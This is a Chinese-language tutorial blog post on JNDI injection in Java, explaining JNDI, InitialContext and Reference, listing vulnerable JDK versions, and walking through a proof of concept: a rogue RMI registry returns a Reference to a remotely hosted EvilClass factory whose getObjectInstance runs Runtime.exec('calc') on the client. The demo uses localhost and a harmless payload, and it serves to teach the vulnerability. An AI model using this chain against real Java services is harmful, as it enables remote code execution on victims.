【java安全】JNDI注入概述

news2025/1/31 11:24:47

文章目录

    • 【java安全】JNDI注入概述
      • 什么是JNDI?
      • JDNI的结构
        • InitialContext - 上下文
        • Reference - 引用
      • JNDI注入
        • JNDI & RMI
          • 利用版本:
          • JNDI注入使用Reference

【java安全】JNDI注入概述

什么是JNDI?

JNDI(Java Naming and Directory Interface)Java提供的Java命名和目录接口。通过调用JNDIAPI可以定位资源和其他程序对象。

命名服务将名称和对象联系起来,使得我们可以用名称访问对象

JDNI的结构

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端:

image-20230819204116339

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

这些命名/目录服务提供者:

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferences、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext - 上下文

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

Reference - 引用

Reference类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

这里创建完Reference后又调用了ReferenceWrapper将其传进去了,为什么这么做呢?

因为我们前面学习RMI的时候,将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口

但是我们这里Reference没有满足,所以需要使用ReferenceWrapper将其封装一下

public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference 

JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

JNDI注入的过程如下:

  • 客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup时,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象的实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,那么恶意类需要实现ObjectFactory接口

具体攻击流程图:

image-20230819222344477

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

JNDI & RMI

利用版本:

JDK 6u1327u1228u113之前可以

JNDI注入使用Reference

首先搭建一个服务端:RMIServer

服务端的创建,按步骤来

  • 首先是注册中心
  • 然后是恶意类所在地址
  • 接着是创建Reference对象引用,绑定恶意类的地址
  • 绑定Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:1098/";
        Reference reference = new Reference("EvilClass", "EvilClass", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("class",referenceWrapper);
    }
}

然后搭建一个客户端RMIClient(客户端也是受害端):

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        String url = "rmi://127.0.0.1:1099/class";
        context.lookup(url);
    }
}

然后需要创建一个恶意类:

实现ObjectFactory接口,把恶意代码写在getObjectInstance里面

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static {
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

搭建好了以后我们首先运行服务端:(注意jdk版本)

image-20230820155446021

然后我们将EvilClass编译一下,使用python开启一个http服务:

image-20230820155647771

接着我们运行客户端RMIClient:

image-20230820155815498

我们发现已经成功执行代码了,并且是在客户端执行的

可以参考这张思维导图:

image-20221028115108761

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/924016.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开源许可证解析:从MIT到GPL

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

kafka复习:(11)auto.offset.reset的默认值

在ConsumerConfig这个类中定义了这个属性的默认值&#xff0c;如下图 也就是默认值为latest,它的含义是&#xff1a;如果没有客户端提交过offset的话&#xff0c;当新的客户端消费时&#xff0c;把最新的offset设置为当前消费的offset. 默认是自动提交位移的&#xff0c;每5秒…

基于黄金正弦算法优化的BP神经网络(预测应用) - 附代码

基于黄金正弦算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码 文章目录 基于黄金正弦算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码1.数据介绍2.黄金正弦优化BP神经网络2.1 BP神经网络参数设置2.2 黄金正弦算法应用 4.测试结果&#xff1a;5…

5个产品经理必看的交互软件,高保真原型必备

今天本文将给大家分享5个产品小白也能轻松上手使用的交互软件&#xff0c;帮助大家更快地做出具有高保真效果的原型图&#xff0c;一起来看看吧&#xff01; 1、即时设计 即时设计是一个来自国内的交互软件&#xff0c;因此无论是在设计过程&#xff0c;还是使用体验方面&…

基于swing的图书借阅系统java jsp书店进销存mysql源代码

本项目为前几天收费帮学妹做的一个项目&#xff0c;Java EE JSP项目&#xff0c;在工作环境中基本使用不到&#xff0c;但是很多学校把这个当作编程入门的项目来做&#xff0c;故分享出本项目供初学者参考。 一、项目描述 基于swing的图书借阅系统 系统有2权限&#xff1a;管…

GPS坐标转换并实时显示轨迹

文章目录 下载数据集创建功能包主要代码使用 下载数据集 链接: https://pan.baidu.com/s/1zSXyNhMNQdaFlDFziDse1Q 密码: 6j6u 其中话题/gps/fix和/imu_correct分别为sensor_msgs/NavSatFix类型的gps数据和sensor_msgs/Imu类型的imu数据 查看相关话题信息 创建功能包 cat…

MySQL 8.0 的工具日志配置管理

文章目录 日志分类设置错误日志设置错误日志等级生效时间 二进制日志&#xff08;binlog&#xff09;作用配置 慢日志&#xff08;slow_log&#xff09;作用 general_log 业务sql 日志分类 error log &#xff1a; 错误日志 genernal log &#xff1a; 普通日志 binlog &#…

香港开启创科「黄金时代」,企业如何乘势高飞?

文 | 智能相对论 作者 | 范柔丝 以“Made in Hong Kong&#xff08;香港制造&#xff09;”为标志的香港工业&#xff0c;在历经了辉煌与式微之后&#xff0c;近几年&#xff0c;在高质量发展、创新科技引领之下&#xff0c;迎来“再工业化”的契机。 特区政府在2022年12月公…

什么是通达信程序接口?运用哪些源代码?

在股市里提及的通达信程序接口&#xff08;TDXAPI&#xff09;是获取个股行情数据的分析系统&#xff0c;用户可以通过编程语言调用接口&#xff0c;获取实时行情数据、历史行情数据、板块数据等&#xff0c;进而进行自定义的行情分析、股票筛选、交易决策等操作。 例如开发数…

uniapp上传图片 (uni-file-picker)

使用的是uniapp官方文档扩展组件 点击跳转 下面代码中详细参数请点击官方文档查看 <template><view><uni-file-pickerv-model"imageValue" fileMediatype"image" mode"grid"limit"1"select"select"progre…

2009年下半年 软件设计师 下午试卷

博主介绍&#xff1a;✌全网粉丝3W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

IDEA下SpringBoot指定环境、配置文件启动

1、idea下的SpringBoot启动&#xff1a;指定配置文件 Springboot项目有如下配置文件 主配置文件application.yml&#xff0c; 测试环境&#xff1a;application-test.yml 生产环境&#xff1a;application-pro.yml 开发环境&#xff1a;application-dev.yml 1.1.配置文件…

怎么把视频转换成gif动图?看看怎么快速完成转换

怎么把视频转换成gif动图&#xff1f;在我们的日常生活中&#xff0c;只要上网&#xff0c;就会遇到各种形式的GIF动态图片。举个例子&#xff0c;有很多能够动起来的视频片段在网上流传。虽然这些动态图像没有声音&#xff0c;但它们展现了一些网友将视频文件转换成GIF动态图片…

【计算机视觉|生成对抗】用于高保真自然图像合成的大规模GAN训练(BigGAN)用于高保真自然图像合成的大规模GAN训练(BigGAN)

本系列博文为深度学习/计算机视觉论文笔记&#xff0c;转载请注明出处 标题&#xff1a;Large Scale GAN Training for High Fidelity Natural Image Synthesis 链接&#xff1a;[1809.11096] Large Scale GAN Training for High Fidelity Natural Image Synthesis (arxiv.org…

ResNet18云空间部署

1-6步骤可以在云空间运行&#xff0c;也可以在本地运行&#xff1b;步骤7 在云空间运行。 1.编译ONNX模型 本章以 resnet18.onnx 为例, 介绍如何编译迁移一个onnx模型至BM1684X TPU平台运行。 该模型来自onnx的官网: models/vision/classification/resnet/model/resnet18-v1…

开学前必备,发布分班结果小工具推荐

暑假即将结束&#xff0c;开学后老师们将面临繁忙的工作&#xff0c;特别是负责开学相关事务的老师们。他们需要与家长进行良好的沟通&#xff0c;收集学生信息。有些学校的老师还需要发布分班情况&#xff0c;让学生家长知晓他们的孩子被分到哪个班级。为了简化这个过程&#…

算法通关村第6关【白银】| 树的层次遍历问题

一、基本层次遍历问题 1.二叉树的层次遍历 思路&#xff1a;使用队列可以很好的保存遍历状态&#xff0c;出队将结点左右子结点入队&#xff0c;用size记录下一层的元素个数&#xff0c;这样就能区分出层了 class Solution {public List<List<Integer>> levelOr…

RabbitMQ---订阅模型分类

订阅模型分类 在之前的模式中&#xff0c;我们创建了一个工作队列。 工作队列背后的假设是&#xff1a;每个任务只被传递给一个工作人员。 在这一部分&#xff0c;我们将做一些完全不同的事情 - 我们将会传递一个信息给多个消费者。 这种模式被称为“发布/订阅”。 订阅模型示意…

防火墙组建双击热备后老是主备自动切换怎么处理?

环境: 2台主备防火墙 8.0.75 AF-2000-FH2130B-SC 核心交换机 H3C S6520-26Q-SI version 7.1.070, Release 6326 问题描述: 防火墙组建双击热备后老是主备自动切换怎么处理? 查看切换日志,本地故障值小于对端,经常自动切换导致eth3接口业务老是自动断开,切换频率,…

全面介绍MES车间班次管理

一、什么是MES车间班次管理&#xff1f; MES车间班次管理是指利用制造执行系统&#xff08;MES&#xff09;来有效管理车间内的工人班次安排和生产计划。它涉及到车间人员的计划排班、考勤管理、生产数据的采集和分析等一系列工作。 二、MES车间班次管理的功能&#xff1a; 1…